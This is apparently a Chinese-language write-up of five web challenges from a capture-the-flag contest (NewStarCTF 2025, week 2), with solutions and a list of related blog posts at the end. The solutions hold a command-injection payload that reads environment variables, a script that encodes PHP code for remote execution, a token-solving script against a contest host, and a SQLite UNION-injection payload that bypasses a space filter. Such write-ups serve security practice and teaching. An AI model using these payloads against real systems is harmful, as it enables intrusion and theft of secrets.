NewStarCTF2025-Week2-Web

目录

1、DD加速器

2、真的是签到诶

3、搞点哦润吉吃吃橘

4、白帽小K的故事(1)

5、小E的管理系统


1、DD加速器

在环境变量里

Payload:;cat /proc/self/environ

2、真的是签到诶

需要对payload进行一些加密处理和替换

cyberchef 可以直接处理

这里用 python 实现

Exp:

python 复制代码
#!/usr/bin/env python3
import base64, codecs, sys
def atbash(text: str) -> str:
    result = []
    for ch in text:
        if 'A' <= ch <= 'Z':
            base = ord('A')
            offset = ord(ch) - base
            new = chr(base + (25 - offset))
            result.append(new)
        elif 'a' <= ch <= 'z':
            base = ord('a')
            offset = ord(ch) - base
            new = chr(base + (25 - offset))
            result.append(new)
        else:
            result.append(ch)
    return ''.join(result)

def make_cipher(php_code: str) -> str:
    rot = codecs.encode(php_code, 'rot_13')
    atb = atbash(rot)
    return base64.b64encode(atb.encode()).decode()

if __name__ == '__main__':
    if len(sys.argv) > 1:
        php_code = ' '.join(sys.argv[1:])
    else:
        php_code = input('Enter PHP code to run (example: echo "签到成功";): ')
    cipher = make_cipher(php_code)
    print('cipher=' + cipher)
    print('\nExample curl command:')
    print("curl -X POST -d 'cipher={}' http://target/".format(cipher))

Payload:

复制代码
cipher=dW91dGlhKCd0bWske0VIVX0vaConKTs=

3、搞点哦润吉吃吃橘

注释里给了用户名和密码

通过抓包拿到请求和验证的接口

写脚本处理:

注意到session每次都是动态刷新的,来自于访问/home时的session

Exp:

python 复制代码
import requests
import re
import warnings
import time

warnings.filterwarnings("ignore", message="Unverified HTTPS request")

BASE_URL = "https://eci-2zeiq1qx3sfyu0wmkq2l.cloudeci1.ichunqiu.com:5000"

HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "Referer": BASE_URL + "/",
}

COOKIES = {
    "Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1758870051,1759023301,1759045200,1759196465",
    "session": ".eJxNy0EKwyAQQNG7zNpFoikTXfceIu1ghFHDZIRC6N3b7LL-_53w2hIztUyxDtaycyGB4NEuaG7x0CQatVSCMOPDo5ucm-_Hp_8dLpNfrTPAPWd6x9IgqAwyMA6Sli4Ozy4dvj8rJSkm.aONamw.-1Fr7-rum_bnGpnzrcLjL6Z1mqc"
}


def fast_challenge():
    with requests.Session() as s:
        # 1. 获取 challenge JSON
        r = s.post(BASE_URL + "/start_challenge", headers=HEADERS, cookies=COOKIES, verify=False)
        r.raise_for_status()
        data = r.json()  # 直接解析 JSON
        expr = data["expression"]

        # 2. 提取数字
        match = re.search(r'\((\d+)\s*\*\s*(\d+)\)\s*\^\s*0x([0-9a-fA-F]+)', expr)
        if not match:
            raise ValueError("无法解析 expression")
        a, b, c = match.groups()
        token_value = (int(a) * int(b)) ^ int(c, 16)

        # 3. 立即提交 token
        r2 = s.post(BASE_URL + "/verify_token", json={"token": token_value}, headers=HEADERS, cookies=COOKIES,
                    verify=False)
        print(r2.status_code, r2.text)


if __name__ == "__main__":
    fast_challenge()

4、白帽小K的故事(1)

先是在源码里看到一些接口信息

就一个前端绕过

调用

甚至都不用绕过,是文件包含漏洞,直接传 mp3 后缀也可以

5、小E的管理系统

测了好久终于有反应了,空格可以使用%09代替

不要在界面测,发到bp去自己编码

字段数是5

随便测了一下发现应该不是mysql

是 sqlite

用select * 可以查

当然也可以用join拼接一下

查数据,最终payload:

python 复制代码
?id=0%09union%09select%09*%09from%09(select%091)a%09join%09(select%092)b%09join%09(select%093)c%09join%09(select%094)d%09join%09(select%09config_value%09from%09sys_config)e
相关推荐
weixin_408099675 小时前
2026 图片去水印 API 接口完全指南:一键去除图片水印(附 Python/Java/PHP/C# 示例)
java·python·php·图片处理·api调用·图片去水印·石榴智能
见青..8 小时前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道9 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
王莎莎-MinerU9 小时前
MCP 解决的是工具接入,科研 Agent 还缺的是科学证据接口标准化
开发语言·网络·人工智能·深度学习·pdf·c#·php
AC赳赳老秦9 小时前
OpenClaw 采集任务日志审计:全程记录采集行为,满足合规溯源与企业审计要求
java·大数据·python·数据挖掘·数据分析·php·openclaw
跨境技工小黎11 小时前
海外抢票:2026icketmaster注册、抢票及退票攻略
php
Helen_cai13 小时前
OpenHarmony 通用状态加载、空页面、错误兜底组件封装(全局业务通用 UI 组件 API23)
开发语言·ui·华为·php·harmonyos
REDcker14 小时前
基于 eBPF 的网络可观测:协议栈路径与 sk_buff
linux·服务器·网络·php·ebpf·bpf
沉迷学习 日益消瘦1 天前
本地优先架构实践:SQLite + Repository 模式 + 自动备份
架构·sqlite
kali-Myon1 天前
深入 MySQL 内核:从临时哈希表分配机制详解 Floor 报错注入核心原理
数据库·sql·mysql·安全·web